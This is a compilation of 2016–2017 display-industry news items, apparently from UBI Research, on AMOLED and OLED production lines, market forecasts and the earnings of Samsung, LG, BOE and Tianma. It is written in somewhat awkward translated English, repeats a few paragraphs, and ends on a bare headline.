<AMOLED Panel produced in Tianma’s Gen6 LTPS AMOLED production line, Source: mp.weixin.qq.com>

Tianma built a Gen4.5 AMOLED pilot line for the first time in China, and is planning to produce small-medium sized AMOLED displays. Based on this, it unveiled a 5.5-inch HD on-cell rigid AMOLED panel for smartphone, a 5.5-inch FHD AMOLED rigid panel, a 5-inch FHD AMOLED panel, and a 5.46-inch flexible AMOLED at MWC 2016.
Tianma’s Gen6 LTPS AMOLED constructed this time will produce LTPS AMOLED for rigid OLED and flexible OLED to apply it to VR, AR-related devices, wearable devices, and foldable devices. Tianma expects to become a leading company in the AMOLED display field, thanks to this newly built Gen6 LTPS AMOLED production line.

<Tianma’s Gen6 LTPS AMOLED Production Line, Source: mp.weixin.qq.com>

Meanwhile, according to ‘2017 OLED Display Annual Report – Samsung Display’s Share in the Smartphone AMOLED Panel Market Will Reach 70% by 2020’ published in February 2017 by UBI Research, Tianma ordered 30K equipment for a Gen6 flexible AMOLED panel production line in Wuhan and will produce in the second quarter of 2018.

Is Samsung Display Moving To the Gen 7 for A4 Line?

Samsung Display

Samsung Display’s ongoing extension of flexible OLED line is highly expected to move to the gen 7 production line.

An OLED specialized research company, UBI Research CEO Choong Hoon Yi(senior analysis) analyzed the names of Samsung Display’s plants have changed by generation so A4 line will be able to increase to the gen 7.

The OLED plants owned by Samsung Display consist of A1, A2, and A3. A1 line is the gen 4 plant, A2 is the gen 5.5, and A3 is the gen 6 plant. LCD’s 7-1 line that is being recently converted is reportedly named A3E which is the follow-up of A3.

Therefore, the CEO Choong Hoon Yi forecast A4 will become the gen 7 line, in light of this trend.

To this end, he looks squarely at some issues to overcome. Firstly, it needs to secure excimer laser, the prerequisite for LTPS-TFT and doping apparatus because production equipment still remains the gen 6. But, Yi thought there is no problem in securing equipment and developing process up to the gen 7, as Samsung Display has been operating the gen 8 LTPS-TFT to produce 55-inch OLED panels for TV.

In addition, he analyzed it would be also possible to manufacture the FMM of the gen 7 half, required for the OLED deposition process. Samsung Display’s sole supplier of FMM, DNP made an investment in manufacturing facilities last year. Although the details of investment haven’t been well-known, it already has a stepper that can manufacture a mask of gen 7 half.

Lastly, when it comes to the validity of investment in Samsung Display’s gen 7, a differentiated production strategy is a key issue, according to Yi. Recently, companies that got into the business late are investing in the gen 6 OLED line, and in a few years their equipment productivity will be as good as Samsung Display’s. In his point of view, it is very meaningful to invest in the gen 7 line in order to stand out from new comers once again.

Samsung Display is already building various portfolios such as foldable OLED, COP(chip on plastic)OLED, and OLED with 800ppi high-resolution even at the R&D stage. The addition of the gen 7 production strategy to its R&D strategy incomparable with late comers will further raise its competitiveness.

 

Capture the Rapidly Emerging OLED Parts & Materials Market

With the joining of Apple in the growing OLED market this year which is manufactured by Samsung Display and applied in Samsung Electronics’ Galaxy, the OLED parts & materials market is increasingly developing.

 

An OLED specialized research company, UBI Research CEO Choong Hoon Yi(senior analysis) said the various parts & materials market needed for manufacturing smartphone OLED is expected to reach US$ 8.7billion this year and more than quadruple to US$ 38billion in 2021.

<M2017 Mobile Phone OLED Parts & Materials Report, UBI Research>

The biggest reason for the rapid growth in the smartphone OLED parts & materials market is attributed to the stable success of Samsung’s Galaxy, the Apple’s effect, the Chinese set companies’ demand boom. Just like reflecting this trend, leading display companies such as LG Display, BOE, CSOT, and Visionox following Samsung Display are struggling to introduce the 6th generation flexible OLED manufacturing line. This trend will lead LCD to disappear almost in the smartphone market by 2021.

<2017 Mobile Phone OLED Parts & Materials Report, UBI Research>

 

As the OLED parts & materials market for smartphone is classified by country, the Korean market predominates. The Korean OLED parts & materials market accounts for 95% of the total market and is likely to keep 72% in 2021.

 

As the OLED industry is led by Samsung Display, the Korean parts & materials market is also expected to rapidly grow. UBI Research CEO Choong Hoon Yi forecasted the ecosystem made by Samsung Display is held by the majority of Korean SMEs or the foreign companies with a factory in Korea, OLED growth will be directly related to the development of Korean SMEs.

 

 

Ink-jet printing OLED, Next-generation large-area display

Ink-jet printing OLED is attracting public attention once again as a next-generation large-area display.

At the keynote session of Finetech Japan 2017 held at Tokyo Big Sight as from May 5, CSOT in China prospected that next-generation large-area display would be ink-jet printing. York Zhao, the CTO of CSOT said that when the price of a new product is 1.2 to 1.3 times that of an existing product, it is the right time for the existing product to be replaced with new one. This principle has been applied when the CRT and PDP market was replaced by LCD. He added, “The price of large-area OLEDs should drop 1.2 to 1.3 times lower than LCDs to lead to a full-fledged OLED era, and ink-jet printing technology is the best way to assist the drop in price of OLED.”

<CSOT, York Zhao CTO>

In 2016, CSOT established the printing display alliance called “Guangdong Juhua printing display technology” together with Tianma, and has been participated by kateeva, DuPont, ULVAC, Merck and Jusung Engeering.

Following the announcement of CSOT, JOLED introduced various OLED panels in direct application of ink-jet printing. One of the most interesting devices was the ink-jet printing 21.6 inch 4K (3840 x 2160, 204 ppi) AMOLED panel produced in Gen 4.5 line. Yoneharu Takubo, the CTO of JDI said, “Since the establishment of JOLED, we have been improving ppi, and developed a technology to stably produce up to 204 ppi resolution. We are targeting 350 ppi and expand its product range from small and medium to large area to secure a variety of applications with ink-jet printing AMOLED. ”

<JOLED, Yoneharu Takubo CTO>

Ink-jet printing process is a technology under continuous development of major panel makers as AMOLED panel of RGB structure can be manufactured without dividing the ledger in the mass production line higher than Gen8. Also, material utilization efficiency is theoretically close to 100% to save the OLED unit cost. However, some issues arise that mass production has yet to be fully verified, and the efficiency and life span of soluble light emitting materials are inferior to those of deposition materials; hence, there has been undergoing active development in the manufacturers of light emitting materials, equipment and panels.

Ink-jet printing OLED becomes the center of public attention as a next-generation display technology, and when it will be commercialized is a matter of a question.

[Finetech Japan 2017] LG Display OLED, more than 50% of the total revenue in 2020

At the keynote session of Finetech Japan 2017 held in Tokyo Big Sight as from May 5, LG Display’s CTO, Kang, In Byeong said, “LG Display OLED accounted for 10% of the total sales revenue in 2016, but is expected to increase more than 50% in 2020.”

<LG Display, Kang In Byeong CTO>

Currently, large OLED accounts for the majority of LG Display OLED sales. OLED TVs in application of LG Display’s large OLED are positioning as in the premium TV market leader, with approx 80% market share of the 65-inch large TVs priced higher than$ 3,000, and nearly 100% of the 55 inch large TVs higher than $ 2,000.

He said, “While 10 years taken for LCD to achieve more than 80% of market share, two years for large OLED, whose price is falling much faster than LCD. On top of it, OLED attempts to generate a premium markets with high-value-added products such as wall paper, crystal sound OLED, roll-able, transparency and signage. Also OLED for mobile device has been equipped with high competitiveness in application of a flexible design, and market demand has been significantly increased. Consequently LG Display is undergoing active development and investment.” He emphasized that the ongoing challenges will bring the LG Display’s OLED sales result in 2020 up to more than 50% of the total.

LG Display is investing in both the Gen8 large OLED mass production line and the Gen6 plastic OLED mass production line to meet the growing demand for large OLED and plastic OLED (flexible OLED). Regarding future mass production capacity, CTO, Kang said, “In 2020, large OLED production line capacity will be 6 times as big as that of 2016, and for plastic OLED 14 times.”

CTO Kang lastly addressed that the future OLED strategy of LG display is to produce large OLED wider than 77 inches, implement 8K and develop application for high-value-added product market. As for mobile device OLED, UHD resolution, DHK power consumption improvement and distinctive design are the key elements as well as flexibility that can increase the OLED performance and investment efficiency to differentiate from LCD and domineer the next generation display market.

Through the Finetech Japan 2017 keynote, LG Display once again emphasized that OLED is the key instrument to lead the display market in the future. Based on the large OLED technology, LG Display will continue to lead the display market by expanding its scope to mobile device OLED.

 

The OLED Component and Material Market for Mobile Phones Is Expanding Rapidly

The component and material necessary for manufacturing OLED include not only board but also TFT, OLED, encapsulation, touch screen, cover window, and drive IC.

With the joining of Apple and Chinese companies into the OLED mobile phones market which has been led by Samsung’s Smartphone Galaxy, Samsung Display and Chinese Display companies are increasing their investment in Gen 6.

Accordingly, component and material market needed for manufacturing OLED is also rapidly expanding.

.

According to the UBI Research report, the OLED component and material market for mobile phones is expected to grow to US$ 38.2 billion in 2021 as against US$ 8.72 billion in 2017.

In terms of nation, the Korean OLED component and material market holds 94.9% market share(US$ 8.27 billion) in 2017, but the Chinese one is forecast to increase up to 22.3% in 2021, whereas the Korean one will decrease to 72.2%.

 

Samsung Display maintains 70%, share of market of AMOLED panel for smartphones by 2020

According to the “2017 OLED Display Annual Report” published by Ubi Research, it looks ahead to build about US$ 57,000 million market in 2020 of AMOLED panel for smartphones, and among this, it is expected to take about 72% by Samsung Display.

The market of AMOLED panel for smartphones in 2017 would be highly increased on the strength of the growth of shipments on smartphones by Chinese set manufacturers and Apple’s iPhone launch which applied flexible AMOLED panel.

Samsung Display, thus, has invested the mass production line in large-scale for flexible AMOLED panel starting in 2016, and its investment will be extended for catching up with its growing demands in this year rather than last year. Just the same, the panel manufacturers in China and Japan, including LG Display, are also investing and aggressively reviewing the mass production line, therefore, this market will be heavily developed.

“2017 OLED Display Annual Report” says that based on this investment, the market of AMOLED panel for smartphones which was just 374.4M in 2016, is anticipated to increase by 38.8% to 519.7M in 2017 and, it will be make the number of market by 1,442 with growing by 39.8% at an annual average by 2020.

In Samsung Display, particularly, would take the market share over 70% even after 2018 when the following company behind begins to roughly start the mass productions, since Samsung Display will endeavor to steadily keep its gaps based on the technology’s ability of high-quality images and flexible AMOLED panel, and the aggressive investments.

In “2017 OLED Display Annual Report”, meanwhile, depicts to help catching the greater flow of OLED industry on the supply chains, the latest trends by major panel company and investment state, the application trends applying AMOLED and the capability analysis of OLED mass production lines which are expected to invest in this year. It would be also expected to help field companies understand the market by analyzing the market prospect by 2021 in diverse perspective and AMOLED panel market performance from 2011.

<The Market Share Perspective of AMOLED Panel for Smartphones>

Samsung Display is Expected to Ship More than 100 Million Smart Phone AMOLED Panels Quarterly

Samsung Display’s Smart phone AMOLED panels are expected to surpass 100 million units.

According to UBI Research, the shipment of Samsung Display’s OLED panel for smartphone in Q4 2016 was 98 million units, an increase of 6% from the previous quarter and 15% from the same time last year.

UBI Research announced “A3line invested in 2016 will operate starting from the 1st quarter, and accordingly the shipment of Samsung Display’s smartphone AMOLED panel is expected to surpass 100 million.”

In addition, Chinese TV set companies and many smartphone set companies such as Apple have an increasing demand for AMOLED panels, and especially the demand for flexible AMOLED panels to be applied to high-end smartphone is expected to increase significantly.

Meanwhile, Samsung Electronics announced at the Q4 conference call that the sales of OLED panels increased slightly compared to the previous quarter, and it plans to promote sales by actively responding to the rise in OLED panel adoption of major smartphone clients.

LG’s OLED TV is expected to surpass 15% among total TV sales this year

During the conference call that reported operating profits, LG Electronics announced on January 25 that OLED TVs accounted for below 5% of its total TV sales volume in 2015, but more than doubled in 2016 and achieved 10%. In addition, the share of LG’s OLED TV in the premium market over 2,000 dollars has rapidly increased, and it has solidified its leadership in the high-end OLED TV market. Therefore, LG said OLED TV sales are expected to rise and accordingly account for more than 15% of its total TV sales in 2017.

Also, LG Electronics’ sales reached 55.3660 trillion won, and its total operating profit last year was 1.3378 trillion won. The company’s annual sales dropped 2 percent from 2016(56.5090 trillion won), while its operating profits increased 12.2 percent from last year(1.1923 trillion won).

Especially, the sales of HE(Home Entertainment) division rose 0.2% from last year(17.3976 trillion won) thanks to an increased demand for TVs and premium TV sales. Despite rise in panel prices, LG reported a record operating profit of 1.2374 trillion won through its premium product sales and strategy to improve cost competitiveness.

Accordingly, LG Electronics announced it plans to continuously release premium TVs by adding such premium functions as IoT to existing products. It is also planning to expand its business focusing on the expansion of sales markets through globalization, going beyond its sales in Korea and USA.

Meanwhile, LG Electronics plans to start operating the E4 phase2 26K Gen8 OLED production line that it invested in 2016, in the second quarter this year. In addition, OLED TV price is expected to drop, and accordingly the OLED TV market is likely to increase significantly.

LG Display Invests 5 Trillion Won in OLED Business, including Plastic OLED

LG Display has decided to change its business portfolio to concentrate organic light-emitting diode (OLED) business. Through the conference call that reported operating profits in the fourth quarter of 2016, LG Display announced on January 24 that it plans to invest some 5 trillion won in facilities this year, and put investment in OLED including Gen6 Plastic OLED and large-size OLED manufacturing facilities. Especially, its investment in OLED is expected to rise to 70% by 20% in 2017, compared to last year with a plan to expand the OLED market.

LG Display Chief Financial Officer (CFO) Kim Sang-don said, “LG Display has reorganized its business structure by integrating previous 5 divisions into a total of 3 divisions such as TV, IT and mobile for its business efficiency.” “It will concentrate not only clear picture but also design and price in large-size LCD TV panels, while producing small and mid-size OLED panels focused on E-5 Gen6 POLED mobile and automotive business. Gen6 E-5 plants also plan to start producing POLED in the third quarter this year. Regarding new Capa, the sizes of new OLED will be 55”, 65” and 77”, and the Capa over 65″ is expected to rise more than 40% this year, a 10 % increase from 30% in 2016”.

Kim said, “the company has secured a total of 60,000 OLED TV capa in the second half of the year according to this year’s OLED TV forecast and yield improvement, and this is the capacity that can produce 1.5 million to 1.8 million televisions a year. Also, he emphasized “Our large-size OLED panel achieved the industry’s yield of 80 percent, which means OLED achieved its golden yield in just two years, compared to LCD’s golden yield of 10 years”.

Kim added “Regarding Chinese firms’ large-size LCD panel line extension that has become an issue recently, the production of Gen8.5 OLED and LCD is now available, but we still need to examine technology, production and productivity of over Gen10 panels. We will carefully consider the extension of the super large 60” 4K and 8K market. Also, LG Display’s middle and long-term strategy is to create a new OLED market so as to expand OLED.

With regard to the price comparison with LCD TV, “more than 60,000 capa is added this year through OLED line extension, and this is the capacity that can produce 1.5 million to 1.8 million televisions. It is a very small scale compared to the entire TV market size, and the price comparison with LCD is meaningless” according to him. LG Display announced that it plans to expand the OLED market for commercial purposes such as signage, broadcasting and medical use in 2007, while emphasizing the target of OLED TV is not the competition with LCD but only the high-end premium TV market.

Meanwhile, regarding the ownership of crystal sound that were unveiled at CES 2017 held in Las Vegas, USA, “In addition to LG DISPLAY’s crystal sound panel, its strategic partner Sony Entertainment Television (SET) improved sound through sound control and algorithm, and OLED panel’s quadrant sound control is LG DISPAY’s own technology” it said.

LG DISPLAY posted 7.9360 trillion won in sales and 904 billion won in operating profits in the fourth quarter last year, recording the black-ink balance for 19 consecutive quarters. Its net profits increased to 824.7 billion won, a whopping 335% increase from the previous quarter. 38 percent of sales in the fourth quarter came from displays for televisions; 31 percent from displays for mobile devices; 17 percent for laptops and tablets; and 14 percent for monitors. Due to the increase in panel prices and demands, its sales reached 26.5041 trillion won, and operating profit was 1.3114 trillion won, surpassing the 1 trillion won for a fourth straight year while keeping a positive trend in its profits.

In the meantime, UBI Research expected that LG Display will produce 1.5 million large-size OLED panels over 50-inch.

Samsung Electronics, Recorded operating profit of 1. 34 trillion won in display business

Samsung Electronics announced that they recorded sales of 7.42 trillion won and operating profit of 1.34 trillion won in display business through 4Q 2016 having been progressed on the 24th. This company recorded large scale surplus that exceeded continuous 1 trillion won for two consecutive quarters following last 3Q.

According to Samsung Electronics, this company says that sales has been increased and cost-improving activities were continued through customer diversification in case of 4Q 2016, and also sales volume of OLED panel was increased to a small extent compared to previous quarters. Sales price strength has been continued in demand-supply stability in case of LDC business, and they reveal that business results have been improved indebting to sales increase of high value-added products such as UHD/large size etc. together with yield/cost betterment. In case of TV panel sales, the volume was decreased a little compared to previous quarters from its quantity and areas all together.

Samsung Electronics lights up a business schedule that they will propel growth compared to previous year by expanding exterior supplies of high-end products including Flexible etc. based on technology leadership and securing capacity of Samsung Electronics in 2017 OLED business. They estimate that needs on high value-added Flexible will be greatly expanded according to form-factor innovation of Smartphone.
Besides, they convey their words such like constant increases of China companies’ capacity in LCD business and deepened competition between companies have been made, but they will endeavor to sustain stable profitability through expansion of product sales and design differentiation including Frameless and Curved while strengthening competitiveness of high value-added products including UHD/large size etc.

Samsung Electronics executed 25.5 trillion won in facility investment, and 9.8 trillion won was invested to display business, and also 2017 investment volume of facilities was not fixed yet.

They disclose schedules of propelling sales increase by positively responding to needs of client products according to increasing OLED adaptation by main Smartphone clients in OLED business in the first quarter, and also carry forward performance enhancement through P-Mix efficiency. Though demand decrease of LCD business is estimated owing to entering off-season, tight supply-demand looks to be continued, and they delivers their words like they will devote securing profitability through expanding high value-added product sale and constant boosting of cost competitiveness.
Thus, Samsung Electronics lights up that they will secure profitability by expanding high value-added products such as UHD/ large size/Curved etc.

In 2016 Q4, Samsung Electronics recorded sales of 90 million cellular phones and 8 million tablets, and they forecast that sales of cellular phones will be increased in the first quarter compared to previous quarter, and sales of tablet will be decreased. They explain that sales of LCD TV recorded 16 million TV, and 40% was decreased by influences of seasonal reason in the first quarter, but one-digit growth of early stage is expected annually.

On the other hand, they say that Samsung Electronics does not consider additional disclosure of LCD production line at now while explaining that closure of L7-1 (LCD) line end of last year was not related to Sharp as a matter of willing to do OLED switch before supply stop of Sharp according to Samsung Electronics. In relation with OLED capability, they deliver policy of willing to secure it according to market and customer needs.

OLED TV, fiercely chasing SUHD TV Price

OLED TV price is being fallen continuously, and is fiercely chasing SUHD TV price. In Amazon (www.amazon.com), the price of 65inch 4k UHD OLED TV (OLED65B6), LG Electronic model of March 2016, was US$ 3,147 based on December 2016, and US$ 1,600 appeared to be dropped compared to US$ 4,747, price of July 2016. The price of 55inch 4k UHD OLED TV (OLED5B6) was US$ 2,097, and US$ 800 was fallen compared to US$ 2,897, the price of July 2016.

SUHD TV price of Samsung Electronics which was similar premium product series was US$ 1,648 in 65inch (UN65KS8000), and differences of US$1,499 turned up compared to same size UHD OLED TV of LG Electronics. Specially, US$ 966 difference appeared compared to same-size UHD OLED TV of LG Electronics as US$ 1,131 of 55inch (UN55KS8000), and the gap could been seen as being narrowed to below US$ 1,000.

<Price comparison of LG Electronics, LG Electronics 65inch, 55inch TV, Source: UBI Research>

If comparing price difference between UHD OLED TV based on 2016 65inch model and SUHD TV, about US$ price differences come out based on July 2016, a fact appeared such like OLED TV price was quickly narrowing price difference with SUHD TV price in 55inch and 65inch as well as difference of about US$ 1,500 based on December 2016.

On the other hand, LG Display is expected to really operate mass production line of E4 phase2 26K Gen8 OLED having been invested in 2016 from the 2nd quarter, and thus an estimation is made such like OLED TV price will be dropped further.

Besides, participating companies of OLED TV camp in CES 2017 were increased remarkably, and OLED TV market is being activated in trend because large manufacturer like Sony joined with several European companies especially, and thus it is expected that price drop of OLED TV will occupy advantageous position in competitions with LCD TV in premium TV market.

Expect to hit 1 trillion won in OLED emitting material market for 2017

The OLED emitting material market is expected to exceed 1 trillion won in 2017.

The OLED emitting material market grew by 15%, about US$ 650 million versus 2015 according to “OLED emitting material Report-2nd data spread sheet” of Ubi research and it expects to achieve about US$ 980 million that over 1 trillion won in terms of Korean currency in 2017.

A researcher of Ubi Research said, “Despite continued price declines of OLED emitting materials, the 15% growth of the OLED materials market has analyzed due to the increased operation ratio of Samsung Display and LG Display in 2016. The OLED emitting material market in 2017 will be sharply grow through in earnest operating of A3 line of Samsung Display and E4 line of LG Display invested in 2016.”

Additionally mentioned, “The OLED emitting materials companies should pay attention to the high operation ratio of OLED production lines in China in 2017. Although the quantities of consumed for OLED materials of current Chinese company are less, but, the investment in mass production lines for Gen6 flexible AMOLED panels is underway, and sales volume of AMOLED panel companies in China may expect to grow sharply in the OLED emitting materials market. Therefore, the OLED emitting material companies should concentrate sales business for China in order to grow.

As such, the competition among related companies is expected to intensify because the OLED emitting material market would be increasing sharply in 2017.

Meanwhile, according to the report on the major performance by company in 2016, Samsung SDI (including Novaled) ranked first, followed by Idemisu Kosan (Japan) and UDC (US).

<Performance of emitting material market in 2016 and Forecasting in 2017>

AMOLED panel for smart phones, just around the corner of 100million-unit shipment in a quarter

According to UBI Research, the shipment amount of AMOLED panel for smart phones in the 3rd quarter of 2016 was announced to be counted as 96million units.

It is the figure increased for 103% compared with the last quarter, and increased for 148% compared with the same period of last year, and it renewed the quarterly highest shipment amount once again, after the last quarter.

The person in charge of UBI Research mentioned that “The output of flexible AMOLED panels for Galaxy Note 7 was reduced compared to the plan due to the discontinuation of the production of Galaxy Note 7, however, the increase in shipments of AMOLED panels for China and Galaxy s7 series is seemed to play a important role in the increase of shipments in the third quarter.”

Currently, Samsung Display occupies more than 91% of the AMOLED panel market for smart phones, and Chinese panel makers such as BOE, EDO, Tianma, and Visionox are conducting mass production with small quantities.

In addition, Apple is expected to apply the flexible AMOLED panel to some models of the iPhone to be launched in 2017, therefore, future AMOLED panel market for smart phones will be increased continuously.

UBI Research expects that the annual shipment amount of AMOLED panel will form the market volume as about 1.4billion units by 2020 with the average annual growth rate of 41%, and flexible AMOLED panel among them will account for about 61%.

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Smart Phone AMOLED Panel Shipment Forecast, Source : UBI research

 

BY HYUNJUN JANG, HANA OH

Solution Process OLED TV is prospected to be launched on the market in 2019, targeting the Mid-end TV Market

According to “Market Entry Analysis for Solution Process OLED -The Possibilities and Opportunities” issued on November 14 by Ubiresearch, OLED TV, produced in solution process method, is prospected to be launched on the market in 2019.

Solution process is a technology which enables producing OLED panel in RGB pixel structure without any panel division on a device higher than G8, which major AMOLED panel producers has actively engaged in developing.

However, lamp efficiency and life cycle have no option to decrease because luminescent materials have lower purity than that of evaporation materials as luminescent materials applied to solution process should be mixed with various solvents in order to make the existing evaporation materials ink. Nevertheless, why major panel producers has actively engaged in developing solution process is that production cost can be declined as the usage efficiency of luminescent materials is high without using color filters and its structure is simpler than that of OLED panel using WRGB method.

According to the report, it is said that although developing luminescent materials for solution process OLED has been fully engaged, it should be more efficient than that of WRGB methods so as to enter the premium market. However, it seems substantially difficult that the capacity of solution process OLED surpasses that of WRGB as WRGB has been developed in top emission structure to improve its efficiency by over 20% and evaporation materials have also constantly been developed. Rather, based on proper level of life cycle and efficiency, it would be competitive to replace LCD targeting the mid-end TV market, according to the report.

Issues on OLED, QLED, hybrid QD, which can be applied to solution process and possibilities to enter the market, comparative analysis on the capacity of present solution process OLED, supply chain of QD industries, and major soluble OLED material producers are included in this “Market Entry Analysis for Solution Process OLED -The Possibilities and Opportunities” and it is expected to help the relevant producers understand the solution process industry.

Meanwhile, it is predicted that the market of large-scaled solution process OLED panel over 55 inch will begin in earnest being mass-produced as of 2019 and have accounted for the entire wide OLED panel market by approximately 15% growing by approximately US$ 1,000 million by 2021.

Who Will Get The First Full-Screen Display Smartphone Title, Samsung Or Apple?

Full-screen display smartphone is expected to be launched soon. According to the recent report ‘Key Issue and The Market Analysis for Foldable OLED – Flexible OLED Annual Report’ by UBI RESEARCH, a market survey company, left-right bezel-less flexible OLED dominate the smartphone market, and later full-screen display with minimized or without both left-right and up-down bezel will appear in 2017, thereby leading the future market.

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<Smartphone Display Development Trend Outlook>(Source: UBI RESEARCH)

The more specific circumstances were caught. Apple Insider announced that Apple recently applied for a design patent(US20150303244A1) of electronic devices with display-integrated light sensors, quoting the USPTO’s announcement on October 11(Local Time).

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<Design Drawing 1 of Apple’s Patent-Pending Electronic Devices with Display-Integrated Light Sensors>

Apple used the examples of the placement of Ambient Light Sensor or Proximity Sensor around the side of display, and of the protection of display and sensor circuit by glass or plastic transparent encapsulation layer. Apple Insider expects that this design will be able to reduce unnecessary space and make full-screen display possible.

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<Design Drawing 2 of Apple’s Patent-Pending Electronic Devices with Display-Integrated Light Sensors>

At the 2016 IMID Business Forum at COEX in Samseong-dong on October 26, Samsung Display chief expert, Park Won-sang announced display trend about screen size, which boosted confidence. Chief expert, Park Won-sang said that “Display size compared to set size is very important due to the characteristic of mobile phones with a size limit. The display area(hereinafter “D.A”) of edge display was 80%, full-screen mobile phone D.A was larger than 90%, and this is one of the major trends that will lead the market”. The techniques including an all-in-one glass fingerprint recognition module and an ultrasonic fingerprint recognition module have not been mentioned yet, but an entirely innovative full-screen smartphone will be introduced by removing left-right bezel as well going beyond the left-right bezel-less type of Note 7.

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<Samsung Display’s Presentation, 2016 IMID Business Forum>

LG also applied a patent of full-screen display. According to Patently Mobile’s report on June 2015, not physical but virtual button and App icon were applied. But, design itself cannot exactly show materials and interior parts except appearance, and it is now uncertain whether it will be developed or not as there is no further news after the patent application.

 

 

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<LG Electronics Granted Home-Buttonless Smartphone using Flexible Display>>(Source : Patently Apple)

Likewise, many smartphone companies are actively reviewing the introduction of full-screen display because it might allow customers to experience the biggest change in addition to the product’s immersive nature. Besides, there are recently some opinions that with the expanding VR market, OLED display without a latency issue and wider display area are necessary to be applied to HMD(Head Mounted Display) attached with a mobile phone.
Meanwhile, ‘Key issue and Market Analysis for Foldable OLED’ Report by UBI RESEARCH forecasted that full screen AMOLED panel will be firstly launched in 2017, accounting for 60% of the total flexible AMOLED panel market and going beyond the bezel-less type of flexible AMOLED panel market.

Meanwhile, ‘Key issue and Market Analysis for Foldable OLED’ Report by UBI RESEARCH forecasted that full screen AMOLED panel will be firstly launched in 2017, accounting for 60% of the total flexible AMOLED panel market and going beyond the bezel-less type of flexible AMOLED panel market.

bezel-less2

<Definition by Flexible OLED Type and Market Share Outlook >(Source: UBI RESEARCH)

BOE’s Decision to Invest 46.5 Billion Yuan in Flexible OLED Line

According to a radio and TV source of Mianyang in Sìchuan Province, BOE has decided to invest
46.5 billion yuan(about 7.8 trillion KRW) in Gen6 flexible AMOLED production line.

BOE plans to begin construction in December 2016 and produce the items from 2019, and its capacity is 48K per month. It is expected to be used for producing high-end smartphones. BOE is carrying out 45K investment in Gen6 flexible AMOLED in Chengdu, and as part of this extension it is scheduled to put additional investment.

The investment in OLED has accelerated recently. Chinese panel companies including Visonox and EDO as well as BOE have decided to put investment in the production line of Gen6 flexible AMOLED panel and establish more lines.

BOE’s Gen6 flexible AMOLED panel production line where the investment has been decided or is still ongoing accounts for 75% of 120k that is total capacity of A3 Line, Gen6 flexible AMOLED production line of Samsung Display. If other Chinese panel companies’ investment that has been already decided or is ongoing is combined together, the investment exceeds Korea’s flexible AMOLED panel production capacity, even allowing for Samsung Display and LG Display’s additional investment.

With China’s active investment in flexible AMOLED panel production line, Chinese AMOLED panel market is expected to grow rapidly.

LG OLED TV Dominates the North American Premium Market, Overtaking LCD

At the 2016 IMID Business Forum held at COEX in Samseong-dong on October 26, 2016 LG Display managing director Kim Gwang-jin announced that the share of OLED TV overtook that of LCD in the North American premium market, and they will put more focus on the premium market.

LG Display managing director Kim Gwang-jin added “Larger than 65inch US$ 3,000 had a 53% market share and larger than 55inch US$ 2,000 had a 80% market share in the North American premium TV market in the first quarter of the year. And, the result indicates that consumers spend their money to buy premium TVs, so OLED TV is now successful in the premium TV market and they will continue to concentrate its energy on OLED TV of the premium market”.

He also said that the lifespan that has been pointed as one of the OLED TV’s problems guarantees more than 10 years of lifespan if it is used for 8 hours a day, compared to American TVs with 8 years of replacement period and Chinese TVs with 6 years of replacement period. With regard to image sticking, OLED TV has been upgraded by compensating circuit, sensing, and algorithm with no problem.

In addition, he expects to produce 900,000 this year and more than 1.5 million large-size OLED TV panels next year according to the next year’s market forecast, and create such various areas of markets as monitors and signage besides TV.

Meanwhile, this year LG Display made the third investment in large-size OLED panel production line, aiming to run it in the first half of 2017.

Samsung Display, the market will move to Full Screen next to Edge

At 2016 IMID Business Forum having been held in Samsung-dong KOEX on October 26th, Senior Park Won-sang of Samsung Display expected that full screen market would lead next to Smart phone of edge designs.

Senior Park analyzes that mobile market will be core market of Display industry by saying “Super high-speed growth of Mobile market is being continues, and mobile market is expected to exceed TV market after 2016, following IT and TV.”

Specially, Senior Park Won-sang states that DA (Display size vs. set size, Display size/set size value) becomes important because Smartphone is portable and has limitations in sizes, and full screen Smartphone having DA of over 90% will lead the market after being released.

In addition, he emphasizes low electricity, sensor embedded, high solution, eye friendly etc. as core technology of mobile display, and stresses that AMOLED belongs to the display for most suitable mobile appliances.

On the other hand, the report “Key issue and Market Analysis for Foldable OLED’ having been published in August by UBi RESEARCH predicts that full screen AMOLED panel will be released first in 2017, and it overpasses flexible AMOLED panel market of Bezel Less type while occupying 60% of total flexible AMOLED panel market in 2020.

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<Samsung Display announcement date, 2016 IMID Business Forum>

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<Definition and Market share prospect by flexible OLED type (Source: UBi RESEARCH)>

Samsung Electronics, Record operating profit of 1 trillion 20 billion won in Display business

Samsung Electronics lighted up that they recorded 7 trillion 60 billion won in sales and 1 trillion 20 billion won of operating profit in display business through 3rd quarter performance call having been progressed on 27th. Display business having recorded operating loss of 270 billion won in the first quarter contributed to enterprise-wide performances by recording large surplus of over 1 trillion won in the third quarter after having been converted to surplus of 140 billion won in the second quarter. Breakthrough 1 trillion won of quarter operating profit in display business could be made in 13 quarters after the second quarter of 2013 (1 trillion 120 billion won).

In case of OLED, the performance was improved by expanded portion of high value-added products including Flexible etc., in midst of total increased sales quantity. LCD was converted to surplus because profitability was enhanced by increased sales of high value-added products such as UHD/large size together with strengthened improvement on yield and cost under stable sale prices due to improvement of supply and demand. In case of TV panel sales, about 10% was increased vs. previous quarter in area basis, and 20% in quantity basis.

They forecasts that application of OLED panel will be increased continuously by main clients that pursue product differentiation in peak season entry of Smart phone in the fourth quarter. Samsung Electronics discloses that they will respond to the need on flagship model scent positively, and propel robust growth performance by improving effective product mixture.
Regarding LCD panel, they lights up that growth of UHD TV market and size enlargement will be continued in the midst of sale price’s stabilization in the fourth quarter. And they mention that sales expansion and enhancement of profitability will be propelled by expanding sales of high value-added products such as super large size, high solution, curved etc while strengthening yield and activities for cost improvement.
Also, Samsung Electronics is planning to do additional investment of 10.9 trillion won to OLED line increase until end of this year. This is the numerical value of increasing two times compared to last year.

In 2017, they are going to propel significant growth vs. previous year by regulating supplies of flexible products in order to positively respond to demand increase of main Smart phone enterprises in OLED panel section. Though difficult business environment is expected owing to constant capability expansion of Chinese enterprises and fierce competitions between enterprises in LCD panel section, they reveals that enlargement of TV sizes and trends of high solution will be persisted. Samsung Electronics has a plan of raising profitability by enforcing competitiveness through differentiated products and high value-added products such as UHD TV and large size ones etc.

Sales of Samsung Electronics in the 3rd quarter recorded 89 million cellular phones, and 6.5 million tablets. They forecasts that sales of cellular phones will sustain the level of previous quarter, and that of tablet will be increased. Samsung Electronics discloses that sales of 11 million LCD TVs will be recorded, and thus growth of 50% levels is expected.

LG Electronics, OLED TV volume of sales 2 times in the 3rd quarter

